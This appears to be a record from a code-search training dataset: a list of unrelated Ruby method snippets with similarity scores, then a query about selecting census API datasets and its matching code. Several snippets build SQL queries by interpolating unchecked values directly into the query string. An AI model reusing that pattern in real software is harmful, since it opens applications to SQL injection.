whether the cellInvalid field is present. MUST be zero if the lt field is not set to 0x00000001.\n fGoodRupBld: attrs.set_at?(22), # S - fGoodRupBld (1 bit): A bit that specifies whether the rupBuild field is valid.\n # T - unused3 (1 bit): Undefined, and MUST be ignored.\n fPublished: attrs.set_at?(24), # U - fPublished (1 bit): A bit that specifies whether the table is published. This bit is ignored if the fPublishedBookItems field of the BookExt_Conditional12 structure is zero.\n # reserved3 (7 bits): Undefined, and MUST be ignored.\n })\n\n _, _, _, lem, _ = io.read(32).unpack('V3VC*')\n result.merge!({\n lPosStmCache: :not_implemented, # lPosStmCache (4 bytes): An unsigned integer that specifies the position of the cached data within the List Data stream. Undefined and MUST be ignored if the lt field is not set to 0x00000001.\n cbStmCache: :not_implemented, # cbStmCache (4 bytes): An unsigned integer that specifies the size, in bytes, of the cached data within the List Data stream. Undefined and MUST be ignored if the lt field is not set to 0x00000001.\n cchStmCache: :not_implemented, # cchStmCache (4 bytes): An unsigned integer that specifies the count of characters of the cached data within the List Data stream when the cached data is uncompressed. Undefined and MUST be ignored if the lt field is not set to 0x00000001.\n LEMMode: lemmode(lem), # lem (4 bytes): A LEMMode enumeration that specifies the table edit mode. If lt is set to 0x00000000, 0x00000002 or 0x00000003, this field MUST be set to 0x00000000.\n rgbHashParam: :not_implemented, # rgbHashParam (16 bytes): An array of bytes that specifies round-trip information. SHOULD<187> be ignored and MUST be preserved if the lt field is set to 0x00000001. Undefined and MUST be ignored if the lt field is not set to 0x00000001.\n })\n\n result[:rgbName] = xlunicodestring(io) # rgbName (variable): An XLUnicodeString that specifies the name of the table. MUST be unique per workbook, and case-sensitive in all locales.\n result[:cFieldData] = io.read(2).unpack('v').first # cFieldData (2 bytes): An unsigned integer that specifies the number of columns in the table. MUST be greater than or equal to 0x0001 and less than or equal to 0x0100.\n\n if result[:fLoadCSPName]\n result[:cSPName] = xlunicodestring(io) # cSPName (variable): An XLUnicodeString that specifies the name of the cryptographic service provider used to specify rgbHashParam. This field is present only if fLoadCSPName is set to 1.\n end\n\n if result[:fLoadEntryId]\n result[:entryId] = xlunicodestring(io) # entryId (variable): An XLUnicodeString that specifies a unique identifier for the table. The string equals the value of the idList field, represented in decimal format, without any leading zeros. It is used when lt equals 0x00000002 and ignored otherwise. This field is present only if fLoadEntryId is set to 1.\n end\n\n result[:fieldData] = result[:cFieldData].times.map { feat11fielddataitem(io, result) } # fieldData (variable): An array of Feat11FieldDataItem that contains the specification of the columns of the table. The number of items in this array is specified by the cFieldData field.\n\n if result[:fLoadPldwIdDeleted]\n result[:idDeleted] = :not_implemented # idDeleted (variable): A Feat11RgSharepointIdDel structure that specifies the identifiers of deleted rows. This information is used when synchronizing with the Web based data provider’s data source. This field is only present if the fLoadPldwIdDeleted field is set to 1.\n end\n\n if result[:fLoadPldwIdChanged]\n result[:idChanged] = :not_implemented # idChanged (variable): A Feat11RgSharepointIdChange structure that specifies the identifiers of the edited rows. This information is used when synchronizing with the Web based data provider’s data source. This field is only present if the fLoadPldwIdChanged field is set to 1.\n end\n\n if result[:fLoadPllstclInvalid]\n result[:cellInvalid] = :not_implemented # cellInvalid (variable): A Feat11RgInvalidCells structure that specifies the location of cells within the table that contain values that are invalid based on validation rules on the Web based data provider. This field is only present if the fLoadPllstclInvalid field is set to 1.\n end\n\n result\n end", "def parse_table; end", "def suivre; end", "def entities; end", "def common\n \n end", "def transact; end", "def custom; end", "def custom; end", "def internal; end", "def who_we_are\r\n end", "def required_data() [] end", "def summary; end", "def summary; end", "def summary; end", "def summary; end", "def GetTable(vHsh) # Get values from Oracle Tables, return value or unknown in vHsh[\"tPpqId\"] , value of ctl_file_id in vHsh[\"tFileId\"] or leave alone, value of ctl_status in vHsh[\"tStatus\"] or leave alone.\n x = vHsh[\"fFileName\"] \n dir01 = vHsh[\"dirXml\"]\n d1 = dir01 + \"/\" + x\n lineCount = 0\n dgs = 0\n sDGS = ' ' \n tDgsCount = 0\n tPPQ = ' '\n tCtlFileId = 0\n tDistinct = vHsh[\"fileRecordCount\"] \n vHsh[\"tDgs\"] = vHsh[\"fDgs\"] # assume correct\n vHsh[\"tPpqId\"] = vHsh[\"fPpqId\"] \n \n if tDistinct == 1 # will find from query of table using file dgs\n \n query = \"SELECT f.ctl_file_id, T.PPQ_ID, f.ctl_status_id,P.CTL_PROJECT_ID\n FROM ctl_file f ,ctl_project p, ctl_traveler t\n WHERE f.digital_gs_number = '#{vHsh[\"tDgs\"]}'\n AND f.CTL_PROJECT_ID = p.ctl_project_id\n AND P.CTL_TRAVELER_ID = T.CTL_TRAVELER_ID\" \n \n $LOG.debug(\"GetTable query1 #{query}\") \n stmt = @db.prepare(query)\n stmt.execute\n row = stmt.fetch \n vHsh[\"tFileId\"] = row[0].to_i\n vHsh[\"tPpqId\"] = row[1]\n vHsh[\"tStatus\"] = row[2]\n vHsh[\"tProjId\"] = row[3].to_i\n stmt.finish\n vHsh[\"fPpqId\"] = vHsh[\"tPpqId\"] # We found it\n \n elsif vHsh[\"fPpqId\"] != 'unknown' and vHsh[\"fDgs\"] != 'unknown' # info came in with file\n vHsh[\"tPpqId\"] = vHsh[\"fPpqId\"] # assume correct\n \n query = \"SELECT f.ctl_file_id, T.PPQ_ID, f.ctl_status_id,P.CTL_PROJECT_ID\n FROM ctl_file f ,ctl_project p, ctl_traveler t\n WHERE f.digital_gs_number = '#{vHsh[\"tDgs\"]}'\n AND f.CTL_PROJECT_ID = p.ctl_project_id\n AND P.CTL_TRAVELER_ID = T.CTL_TRAVELER_ID\n AND T.PPQ_ID = '#{vHsh[\"tPpqId\"]}'\" \n # puts query \n $LOG.debug(\"GetTable query2 #{query}\")\n stmt = @db.prepare(query)\n stmt.execute\n row = stmt.fetch \n vHsh[\"tFileId\"] = row[0].to_i\n vHsh[\"tStatus\"] = row[2]\n vHsh[\"tProjId\"] = row[3].to_i\n stmt.finish\n else\n puts 'indeterminate'\n end \n ShowHash(vHsh)\n rescue => err\n puts \"Exception11: #{err}\"\n $LOG.error(\"Exception11: #{err}\") \n raise\n end", "def code_of_conduct; end", "def Com6 # Recuperation Info\n \n end", "def lsi; end", "def values() end", "def gounod; end", "def prepare_identities_from_data; end", "def import_input_data(data)\n\n # clear all the old data\n #InputRecord.delete_all\n\n # grab the table out of the data file\n table = /<table.*?>(.*)<\\/table>/im.match(data.squish)\n # split into array rows based on <tr></tr> and do some cleanup\n tabledata = table[1].gsub(/\\&nbsp;/,\" \").gsub(/ </,\"<\").gsub(/> /,\">\").gsub(/<b>|<\\/b>|<img.*?>|<\\/img>|<span.*?>|<\\/span>|<td.*?>|<a .*?>|<\\/a>/,\"\").scan(/<tr.*?>.*?<\\/tr>/im)\n # split by columns and remove extraneous tags\n tabledata.map!{ |row| row.gsub(/<tr.*?>/,\"\").gsub(/<\\/td><\\/tr>/,\"\").force_encoding(\"UTF-8\").gsub(/\\u{a0}/,\"\").split(\"</td>\")}\n\n data_columns = {\n \"Acronym\" => :acronym,\n \"Title\" => :title,\n \"Organization\" => :organization,\n \"Department\" => :department,\n \"Agency\" => :agency,\n \"RFP #\" => :rfp_number,\n \"Solicitation #\" => :rfp_number,\n \"Program Value\" => :program_value,\n \"Value($k)\" => :program_value,\n \"RFP Date\" => :rfp_date,\n \"Solicitation Date\" => :rfp_date,\n \"Status\" => :status,\n \"User List\" => :user_list,\n \"Project Award Date\" => :project_award_date,\n \"Projected Award Date\" => :project_award_date,\n \"Opportunity Id\" => :input_opportunity_number,\n \"Opp Id\" => :input_opportunity_number,\n \"Contract Type\" => :contract_type,\n \"Contract Type (Combined List)\" => :contract_type_combined,\n \"Primary Service\" => :primary_service,\n \"Contract Duration\" => :contract_duration,\n \"Last Updated\" => :last_updated,\n \"Competition Type\" => :competition_type,\n \"NAICS\" => :naics,\n \"Primary State of Perf.\" => :primary_state_of_performance,\n \"Summary\" => :summary,\n \"Comments\" => :comments,\n \"Latest News\" => :comments,\n \"DOD/Civil\" => :dod_civil,\n \"Incumbent\" => :incumbent,\n \"Contractor\" => :incumbent,\n \"Contractor (Combined List)\" => :contractor_combined,\n \"Incumbent Value\" => :incumbent_value,\n \"Contract Value($k)\" => :incumbent_value,\n \"Incumbent Contract #\" => :incumbent_contract_number,\n \"Contract Number\" => :incumbent_contract_number,\n \"Incumbent Award Date\" => :incumbent_award_date,\n \"Contract Award Date\" => :incumbent_award_date,\n \"Incumbent Expire Date\" => :incumbent_expire_date,\n \"Contract Expire Date\" => :incumbent_expire_date,\n \"Priority\" => :priority,\n \"Vertical\" => :vertical,\n \"Vertical (Combined List)\" => :vertical_combined,\n \"Segment\" => :segment,\n \"Segment (Combined List)\" => :segment_combined,\n \"Key Contacts\" => :key_contacts\n }\n\n # figure out which input columns map to which data columns\n keys = []\n cols = {}\n tabledata[0].each_index do |column|\n keys[column] = data_columns[tabledata[0][column].strip]\n cols[data_columns[tabledata[0][column]]] = column\n# puts \"found #{keys[column]} in #{cols[data_columns[tabledata[0][column]]]}\"\n end\n\n record_count = 0\n\n # load the data\n for row in 1..(tabledata.length-1) # for each row (except the header row)\n# puts \"loading row #{row}\"\n opportunity_number_column = cols[:input_opportunity_number]\n opportunity_number = tabledata[row][opportunity_number_column]\n record = InputRecord.find_or_create_by_input_opportunity_number(opportunity_number) # get the record or make a new one\n keys.each_index do |column| # for each column in the input file, update the attribute\n case keys[column]\n when :title #need special processing for title to split URL from actual title\n if tabledata[row][column] =~ /<a/\n data = /<a href=\"(.*?)\">(.*?)<\\/a>/i.match(tabledata[row][column])\n record.input_url = data[1] unless data[1].nil?\n record.title = data[2] unless data[2].nil?\n else\n record.title = tabledata[row][column]\n end\n when :department\n @dept = tabledata[row][column]\n when :agency\n if tabledata[row][column].nil?\n record.send(\"organization=\", \"#{@dept}\")\n else\n record.send(\"organization=\", \"#{@dept}/#{tabledata[row][column]}\")\n end\n when :rfp_date, :project_award_date, :last_updated, :incumbent_award_date, :incumbent_expire_date\n record.send(\"#{keys[column]}=\",GovwinIQ.fix_input_date(tabledata[row][column]))\n else\n record.send(\"#{keys[column]}=\", tabledata[row][column]) unless keys[column].nil?\n end\n end\n record.save!\n record_count += 1\n end\n\n return record_count\n end", "def transformations; end", "def formation; end", "def expert(data)\nend", "def implementation; end", "def implementation; end", "def parts; end", "def parts; end", "def parts; end", "def tidy(data); end", "def manufacture; end", "def row; end", "def metadata; end", "def metadata; end", "def metadata; end", "def metadata; end", "def metadata; end", "def metadata; end", "def metadata; end", "def set_doe_util_changes\n\n # there is no bldg_id column for sca projects\n buildings = self.school_buildings\n\n buildings_ids_array = buildings.map {|b| b['bldg_id']}.uniq\n\n doe_significant_utilization_changes = CeqrData::DoeSignificantUtilizationChanges.version(\n data_package.table_for(\"doe_significant_utilization_changes\")\n ).doe_util_changes_matching_with_building_ids(buildings_ids_array)\n\n self.doe_util_changes = doe_significant_utilization_changes.map do |d|\n {\n url: d[:url],\n title: d[:title],\n org_id: d[:org_id],\n bldg_id: d[:bldg_id],\n vote_date: d[:vote_date],\n at_scale_year: d[:at_scale_year],\n at_scale_enroll: d[:at_scale_enroll],\n bldg_id_additional: d[:bldg_id_additional]\n }\n end\nend", "def dh; end", "def nasa_space_craft; end", "def main\n \n # make Resuspended Library items\n operations.make\n \n # get quantities before resuspending\n operations.each { |op| op.temporary[:pmole] = op.input(POOL).item.get(:pmole) }\n no_pmole=operations.select { |op| op.temporary[:pmole].nil? }\n if(no_pmole.any?)\n data = show {\n title \"Verify Lyopholized #{OLIGO_POOL} Quantities\"\n note \"The following libraries have no parameters specified. Please enter manually:\"\n table no_pmole.start_table\n .input_item(POOL)\n .get(:pmole, type: 'number', heading: \"Quantity (pmole)\", default: DEFAULT_PMOLE) \n .end_table\n }\n end\n operations.each { |op| \n op.input(POOL).item.associate :pmole, op.temporary[:pmole].to_f \n op.output(OUT_HIGH).item.associate :concentration, TARGET_CONC_NG_PER_UL\n op.output(OUT_LOW).item.associate :concentration, LOW_CONC_NG_PER_UL\n }\n \n # get sublib parameters\n operations.each { |op|\n min_tot=op.input(POOL).item.sample.properties.fetch(MIN_LENGTH).map {|x| x.to_f}.sum\n max_tot=op.input(POOL).item.sample.properties.fetch(MAX_LENGTH).map {|x| x.to_f}.sum\n variants_tot=op.input(POOL).item.sample.properties.fetch(VARIANTS).map {|x| x.to_f}.sum\n num_sublibs=op.input(POOL).item.sample.properties.fetch(MIN_LENGTH).length\n op.temporary[:variants]=variants_tot\n op.temporary[:length]=(0.5*(max_tot+min_tot)/num_sublibs).round\n op.temporary[:sublibs]=num_sublibs\n }\n \n # show user the info for the library BEFORE resuspending\n show {\n title \"Check #{OLIGO_POOL} Parameters before resuspension\"\n table operations.start_table\n .input_item(POOL)\n .custom_column(heading: \"Oligo Pool name\") { |op| op.input(POOL).item.sample.name }\n .custom_column(heading: \"Oligo Library ID\") { |op| op.input(POOL).item.sample.properties.fetch(\"Oligo Library ID\") }\n .custom_column(heading: \"mean length (nt)\") { |op| op.temporary[:length] }\n .custom_column(heading: \"variants\") { |op| op.temporary[:variants] }\n .custom_column(heading: \"number of sublibraries\") { |op| op.temporary[:sublibs] }\n .custom_column(heading: \"quantity (pmole)\") { |op| {content: op.temporary[:pmole], check: true} }\n .end_table\n warning \"Quantity (pmole) determines the resuspension volume!\"\n }\n \n # resuspend\n show {\n title \"Resuspend Lyopholized #{OLIGO_POOL}s\"\n check \"Spin down all lyopholized oligo pools at #{SPIN[:qty]} #{SPIN[:units]} for #{SPIN_TIME[:qty]} #{SPIN_TIME[:units]}\"\n note \"Add #{WATER[:name]} from a <b>NEW</b> aliquot directly to the lyopholized oligo pool, according to the following:\"\n table operations.start_table\n .input_item(POOL)\n .custom_column(heading: \"Oligo Pool name\") { |op| op.input(POOL).item.sample.name }\n .custom_column(heading: \"Oligo Library ID\") { |op| op.input(POOL).item.sample.properties.fetch(\"Oligo Library ID\") }\n .custom_column(heading: \"#{WATER[:name]} (#{WATER[:units]})\") { |op| \n (op.input(POOL).item.get(:pmole).to_f*op.temporary[:length]*DNA_NG_PER_NT_PER_PICOMOLE/TARGET_CONC_NG_PER_UL).round(2) }\n .output_item(OUT_HIGH) \n .end_table\n check \"Vortex well and spin down\"\n check \"Leave on bench for #{WAIT[:qty]} #{WAIT[:units]}\"\n check \"Vortex well and spin down\"\n check \"Relabel original tubes, without covering any manufacturer information, according to the final column of the table (above).\"\n }\n \n # dilute\n fac=(TARGET_CONC_NG_PER_UL.to_f/LOW_CONC_NG_PER_UL)-1\n lib_volume=(DILUTION_VOL[:qty].to_f/fac).round(2)\n show {\n title \"Dilute Resuspended #{OLIGO_POOL}s\"\n check \"Label #{operations.length} #{TUBE}s: #{operations.map{ |op| op.output(OUT_LOW).item}.to_sentence}\"\n note \"Add #{WATER[:name]} and resuspended library volumes according to the following:\"\n table operations.start_table\n .output_item(OUT_LOW)\n .custom_column(heading: \"#{WATER[:name]} (#{WATER[:units]})\") { |op| {content: DILUTION_VOL[:qty], check: true} }\n .custom_column(heading: \"Resuspended Oligo Pool\") { |op| \"#{op.output(OUT_HIGH).item}\" }\n .custom_column(heading: \"Oligo Pool volume (#{DILUTION_VOL[:units]})\") { |op| {content: lib_volume, check: true} }\n .end_table\n check \"Vortex #{TUBE}s #{operations.map{ |op| op.output(OUT_LOW).item}.to_sentence} and spin down\"\n }\n \n # create sublibraries (DNA Library **Samples**)\n tab=[]\n tab[0]=[\"#{OLIGO_POOL}\",\"#{DNA_LIB}\"]\n ind=1\n operations.each { |op| \n props=op.input(POOL).item.sample.properties\n props.fetch(NAMES).each_with_index { |name, i|\n s=Sample.find_by_name(name) # check if already created\n if(s.nil?) # create if needed\n create_DNA_Library(name, \"created #{Time.zone.now.to_date}\", PROJECT, op.plan.user.id)\n check = Sample.find_by_name(name) # check if valid Sample \n if(check.nil?) # no valid Sample created\n show { note \"Problem creating Sample #{name}, please check!\"} \n else\n tab[ind]=[op.input(POOL).item.sample.name, name]\n ind=ind+1\n end\n else\n show { note \"Sample #{name} already exists, please check!\"} \n end\n }\n }\n if(ind > 1) # have new Samples to display \n show {\n title \"DNA Library Samples Created\"\n note \"The following #{DNA_LIB} Samples were created for the #{OLIGO_POOL}s:\"\n table tab\n note \"Please check that no DNA Library Samples are missing!\"\n }\n end\n \n # delete lyopholized stuff\n operations.each { |op| \n op.input(POOL).item.mark_as_deleted\n }\n \n # store resuspended stuff \n operations.store\n \n return {}\n \n end", "def get_data\n raise \"overwrite it\"\n end", "def data_type\n\tend", "def data_righttest_label_bad(db); end", "def createCommonTestData\n\n\t\taccountJSON = @sObjectRecords['ContractEvent']['Account']\n\t\taccountJSON[0][\"RecordTypeId\"] = @mapRecordType[\"Consumer\"]\n\t\taccountJSON[1][\"RecordTypeId\"] = @mapRecordType[\"Consumer\"]\n\t\taccountJSON[2][\"RecordTypeId\"] = @mapRecordType[\"Mid Market\"]\n\t\taccountJSON[3][\"RecordTypeId\"] = @mapRecordType[\"Enterprise Solutions\"]\n\n\t\t#puts \"accountJSON\"\n\t\t#puts accountJSON\n\t\taccountId = Salesforce.createRecords(@sfBulk,\"Account\",accountJSON)\n\t\tputs \"1)Account Created\"\n#puts \"Account created\"\n#puts accountId.inspect\n\t\t@recordToDelete.store(\"account\",accountId)\n#puts accountId[0].fetch(\"Id\")\n\n\t\tcontactJSON = @sObjectRecords['ContractEvent']['Contact']\n\t\tcontactJSON[0][\"AccountId\"] = accountId[0].fetch(\"Id\")\n\t\tcontactJSON[1][\"AccountId\"] = accountId[1].fetch(\"Id\")\n\t\tcontactJSON[2][\"AccountId\"] = accountId[2].fetch(\"Id\")\n\t\tcontactJSON[3][\"AccountId\"] = accountId[3].fetch(\"Id\")\n\t\tcontactId = Salesforce.createRecords(@sfBulk,\"Contact\",contactJSON)\n\t\tputs \"2)Contact Created\"\n#puts \"contact created\"\n\t\t@recordToDelete.store(\"contact\",contactId)\n#puts contactId.inspect\n\n\t\tbuildingIds = Salesforce.createRecords(@sfBulk,\"Building__c\",@sObjectRecords['ContractEvent']['Building__c'])\n\t\tputs \"3)Building Created\"\n#puts \"Building__c created\"\n\t\t@recordToDelete.store(\"building\",buildingIds)\n#puts buildingIds.inspect\n\n\t\t@reservableJSON = @sObjectRecords['ContractEvent']['Reservable__c']\n\t\t#puts \"@reservableJSON\"\n\t\t#puts @reservableJSON\n\t\t@reservableJSON[0][\"Building__c\"] = buildingIds[0].fetch(\"Id\")\n\t\t@reservableJSON[1][\"Building__c\"] = buildingIds[0].fetch(\"Id\")\n\t\t@reservableJSON[2][\"Building__c\"] = buildingIds[0].fetch(\"Id\")\n\t\treservableId = Salesforce.createRecords(@sfBulk,\"Reservable__c\",@reservableJSON)\n\t\tputs \"4)Reservable Created\"\n#puts \"reservable__c created\"\n#puts reservableId.inspect\n\t\t@recordToDelete.store(\"reservable__c\",reservableId)\n\t\treturn @recordToDelete\n\n\tend", "def entries() end", "def upc_e; end", "def etfs\n\n end", "def bs; end", "def updated_data; end", "def parslet; end", "def parslet; end", "def parslet; end", "def parslet; end", "def table; end", "def table; end", "def table; end", "def table; end", "def returns; end", "def tou\n\n clnt = HTTPClient.new\n Rails.logger.info(\"es287_debug #{__FILE__} #{__LINE__} = #{Blacklight.solr_config.inspect}\")\n solr = Blacklight.solr_config[:url]\n p = {\"id\" =>params[:id] , \"wt\" => 'json',\"indent\"=>\"true\"}\n @dbString = clnt.get_content(\"#{solr}/database?\"+p.to_param)\n @dbResponse = JSON.parse(@dbString)\n @db = @dbResponse['response']['docs']\n dbcode = @dbResponse['response']['docs'][0]['dbcode']\n providercode = @dbResponse['response']['docs'][0]['providercode']\n @defaultRightsText = ''\n if dbcode.nil? or dbcode == '' #check for providerCode being nil\n @defaultRightsText = \"Use default rights text\"\n else\n @ermDBResult = ::Erm_data.where(Database_Code: \"\\'#{dbcode[0]}\\'\", Prevailing: 'true')\n if @ermDBResult.size < 1\n @ermDBResult = ::Erm_data.where(\"Provider_Code = \\'#{providercode[0]}\\' AND Prevailing = 'true' AND (Database_Code = '' OR Database_Code IS NULL)\")\n\n if @ermDBResult.size < 1\n @defaultRightsText = \"DatabaseCode and ProviderCode returns nothing\"\n end\n end\n end\n\n @column_names = ::Erm_data.column_names.collect(&:to_sym)\n\n end" ]
[ "0.61586803", "0.6146449", "0.60834986", "0.60834986", "0.5680337", "0.56638783", "0.56638783", "0.56638783", "0.56638783", "0.56638783", "0.56638783", "0.56638783", "0.56638783", "0.56638783", "0.56638783", "0.56638783", "0.56638783", "0.5653207", "0.5653207", "0.5633895", "0.56194234", "0.5539487", "0.553228", "0.54346997", "0.53951895", "0.5389561", "0.5370287", "0.5342057", "0.5325841", "0.53226787", "0.5318864", "0.5274544", "0.5274544", "0.5274544", "0.5274544", "0.52650505", "0.52370113", "0.5228351", "0.5215557", "0.5205795", "0.51944786", "0.51931155", "0.5188496", "0.5187087", "0.5187087", "0.516793", "0.51587003", "0.5158419", "0.5153794", "0.5153794", "0.5153794", "0.5153794", "0.5133211", "0.51193357", "0.510154", "0.50940853", "0.50920856", "0.5077865", "0.5075175", "0.5057444", "0.5048963", "0.5032692", "0.50235236", "0.5021599", "0.5021599", "0.50168777", "0.50168777", "0.50168777", "0.5015808", "0.5002686", "0.499585", "0.49942067", "0.49942067", "0.49942067", "0.49942067", "0.49942067", "0.49942067", "0.49942067", "0.4990696", "0.49898714", "0.49845248", "0.4979596", "0.49755043", "0.49733606", "0.49693406", "0.4968576", "0.49570075", "0.49479276", "0.49453187", "0.49434918", "0.49354395", "0.49352086", "0.49352086", "0.49352086", "0.49352086", "0.49330148", "0.49330148", "0.49330148", "0.49330148", "0.49317664", "0.49296856" ]
0.0
-1
can add more datasets as support becomes available
def initialize(api_key, options = {}) raise ArgumentError, "You must set an api_key." unless api_key # Use RestClient directly to determine the validity of the API Key path = "http://api.census.gov/data/2010/sf1?key=#{api_key}&get=P0010001&for=state:01" response = RestClient.get(path) if response.body.include? "Invalid Key" raise "'#{api_key}' is not a valid API key. Check your key for errors, or request a new one at census.gov." end @api_key = api_key @api_vintage = options[:vintage] || 2010 if options[:dataset] @dataset = options[:dataset].downcase if DATASETS.include? options[:dataset].downcase end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def datasets\n @datasets || []\n end", "def datasets\n @datasets || []\n end", "def uses(*datasets)\n @used_datasets = datasets\n end", "def set_datasets\n @datasets = current_user.get_datasets 'all'\n\n @metadata_array = []\n @metadata_array = Dataset.get_metadata_list(@datasets.map{|ds| ds.id}) if @datasets\n\n # TODO: Find a better way to do this\n @datasets.each_with_index do |ds, i|\n ds.metadata = @metadata_array['data'][i]['attributes']\n end\n end", "def add_dataset(name)\n unless metadata[:datasets].include? name\n d = MiGA::Dataset.new(self, name)\n @metadata[:datasets] << name\n @dataset_names_hash = nil # Ensure loading even if +do_not_save+ is true\n save\n if d.ref? && d.active?\n recalculate_tasks(\"Reference dataset added: #{d.name}\")\n end\n pull_hook(:on_add_dataset, name)\n end\n dataset(name)\n end", "def data_sets\n update\n library.values\n end", "def set_datasets\n # Force admin token for getting user information (show/hide delete button)\n datasets = @site.get_datasets(current_user)\n @datasets = process_datasets datasets\n end", "def build!(data_set_name)\n interface(data_set_name).create_empty_data_set\n library[data_set_name] = DataSet.new(data_set_name, interface(data_set_name))\n end", "def extend_datasets(mod=nil, &block)\n raise(Error, \"must provide either mod or block, not both\") if mod && block\n mod = Dataset::DatasetModule.new(&block) if block\n if @dataset_modules.empty?\n @dataset_modules = [mod]\n @dataset_class = Class.new(@dataset_class)\n else\n @dataset_modules << mod\n end\n @dataset_class.send(:include, mod)\n reset_default_dataset\n end", "def dataset\n @dataset ||= data_maker.dataset\n end", "def add_data_elements\n \n end", "def load_data(data_set)\n\t\tif data_set != :u\n\t\t\tload_hashes(\"#{data_set}.base\") # training set\n\t\t\tload_test(\"#{data_set}.test\") # test set\n\t\telse\n\t\t\tload_hashes(\"#{data_set}.data\") # training set\n\t\tend\n\tend", "def set_dataset\n # TODO\n #@dataset = DatasetService.get_dataset\n end", "def dataset\n @dataset ||= generate_dataset\n end", "def dataset?\n true\n end", "def datasets\n datasets = []\n dataset.each do |d|\n if d[:data].first.is_a?(Array)\n datasets += d[:data]\n else\n datasets << d[:data]\n end\n end\n datasets\n end", "def populate_data_sets(assignments_for_graph,selected_graph)\n dataset1 =[]\n dataset2 =[]\n dataset3 =[]\n dataset4 =[]\n assignment_names=[]\n\n #store the names for the respective data sets for each line/bar depicted in the graph\n dataset1_name=\"\", dataset2_name=\"\", dataset3_name=\"\", dataset4_name=\"\"\n\n #case by case graphs represented for the type of graph selected in the dropdown\n if selected_graph\n index = REVIEW_GRAPHS.index(selected_graph)\n if index\n case index\n when 0\n dataset1_name=\"Average Unique Tokens in the Review Questions\"\n dataset2_name=\"Average Unique Tokens in the Review Comments\"\n dataset3_name=\"\"\n dataset4_name=\"\"\n dataset3=nil\n dataset4=nil\n dataset1,dataset2, assignment_names = question_text_and_review_comments_vs_assignments(assignments_for_graph)\n when 1\n dataset1_name=\"Average Unique Tokens in the Review Comments\"\n dataset2_name=\"Number of Questions per Assignment\"\n dataset3_name=\"\"\n dataset4_name=\"\"\n dataset3=nil\n dataset4=nil\n dataset1,dataset2, assignment_names = questions_count_and_review_comments_vs_assignments(assignments_for_graph)\n when 2\n dataset1_name=\"Average Unique Tokens in the Review Comments\"\n dataset2_name=\"Average Number of Sub-questions per question\"\n dataset3_name=\"\"\n dataset4_name=\"\"\n dataset3=nil\n dataset4=nil\n dataset1,dataset2, assignment_names = sub_questions_count_and_review_comments_vs_assignments(assignments_for_graph)\n when 3\n dataset1_name=\"Average Number of Reviews per student\"\n dataset2_name=\"Average Score Percentage for Reviews\"\n dataset3_name=\"Average Unique Tokens in the Review Comments\"\n dataset4_name=\"Average Author Feedback Score\"\n dataset1,dataset2,dataset3, dataset4, assignment_names = average_reviews_parameters_and_student_experience_vs_assignments(assignments_for_graph)\n when 4\n dataset1_name=\"Average Number of Metareviews\"\n dataset2_name=\"Average Score Percentage for Metareviews\"\n dataset3_name=\"Average Unique Tokens in the Metareview Comments\"\n dataset4_name=\"\"\n dataset4=nil\n dataset1,dataset2,dataset3, assignment_names = average_metareviews_parameters_and_student_experience_vs_assignments(assignments_for_graph)\n when 5\n dataset1_name=\"Average Number of Reviews for Given Strategy\"\n dataset2_name=\"Average Review Content for Given Strategy\"\n dataset3_name=\"\"\n dataset4_name=\"\"\n dataset3=nil\n dataset4=nil\n dataset1, dataset2, assignment_names = average_review_content_for_review_strategy_vs_assignments(assignments_for_graph)\n end\n end\n end\n [dataset1, dataset2, dataset3, dataset4, assignment_names, dataset1_name, dataset2_name, dataset3_name, dataset4_name]\n end", "def set_data_set\n @data_set = DataSet.find_by(:id => params[:dataset_id])\n end", "def new\n @dataset = Dataset.new\n 3.times do\n @dataset.dataset_variables << DatasetVariable.new\n end\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dataset }\n end\n end", "def set_dataset_rel_and_attr\n @dataset.database = @database\n @dataset_id = @dataset.id\n organization = Organization.find_by_id(@organization_id)\n organization.datasets << @dataset\n @dataset.organization = organization\n end", "def dataset(name)\n datasets[name] = Dataset.new(sources.fetch(name.to_s))\n end", "def train(dataset)\n raise 'Override me!'\n end", "def dataset(name)\n sets[name] = Dataset.new(name, connection)\n end", "def dataset?(name)\n datasets.key?(name)\n end", "def dataset?(name)\n datasets.key?(name)\n end", "def each_dataset(builder, &block)\n block.call(builder.ct.dataset)\n\n @datasets ||= metadata['datasets'].map do |name|\n OsCtl::Lib::Zfs::Dataset.new(\n File.join(builder.ct.dataset.name, name),\n base: builder.ct.dataset.name\n )\n end\n\n @datasets.each(&block)\n end", "def set_dataset\n @dataset =\n Dataset.find_with_metadata(params[:id], user_token(@site, true))\n end", "def show_all_datasets(pid)\r\n GoodData.use pid\r\n puts \"Project has this datasets:\"\r\n GoodData.project.datasets.each do |dataset|\r\n puts \"Dataset name: #{dataset.title.bright} Dataset identifier: #{dataset.identifier.bright}\"\r\n end\r\n end", "def test_datasets(mountpoints)\n if (mounted_datasets.keys & mountpoints).empty?\n create_test_datasets(mountpoints)\n else\n mounted_datasets.slice(*mountpoints)\n end\n end", "def readDataset\n entries = Array.new\n Dir.entries(DATASET_DIR).sort.each do |x|\n if x != \".\" and x != \"..\"\n entries << DatasetEntry.new(File.join(DATASET_DIR, x))\n end\n end\n entries\nend", "def collect_alma_data( source_dir:, source_file_name:, ingestConf:, options:)\n\n puts \"START COLLECTING\"\n ######################################################################################\n reiresConfJson = File.read(File.join(File.dirname(__FILE__), '../config/config.cfg'))\n reiresConf = JSON.parse(reiresConfJson)\n\n ######################### Dataset and Dataprovider Configuration ######################\n @dataset = ingestConf[\"dataset\"]\n @provider = ingestConf[\"provider\"]\n @license = ingestConf[\"license\"]\n\n @mediaUrlPrefix = ingestConf[\"mediaUrlPrefix\"]\n @same_as_template = ingestConf[\"same_as_template\"]\n\n @metaLanguage = ingestConf[\"metaLanguage\"]\n @unicode_script = ingestConf[\"unicode_script\"]\n @recordLanguage = ingestConf[\"recordLanguage\"]\n @defaulttype =ingestConf[\"defaulttype\"] \n @genericRecordDesc = ingestConf[\"genericRecordDesc\"]\n\n ingestdata = {\n \"provider\" => @provider,\n \"dataset\" => @dataset,\n \"license\" => @license,\n \"name\" => @genericRecordDesc\n }\n @isBasedOn = build_isBasedOn(ingestdata)\n\n #######################################################################################\n @url_prefix = reiresConf[\"url_prefix\"]\n @prefixid = \"#{reiresConf[\"prefixid\"]}_#{ @provider[\"@id\"] }_#{ @dataset[\"@id\"] }\"\n\n # @sdLicense = reiresConf[\"sdLicense\"]\n # @sdPublisher = reiresConf[\"sdPublisher\"]\n #######################################################################################\n\n 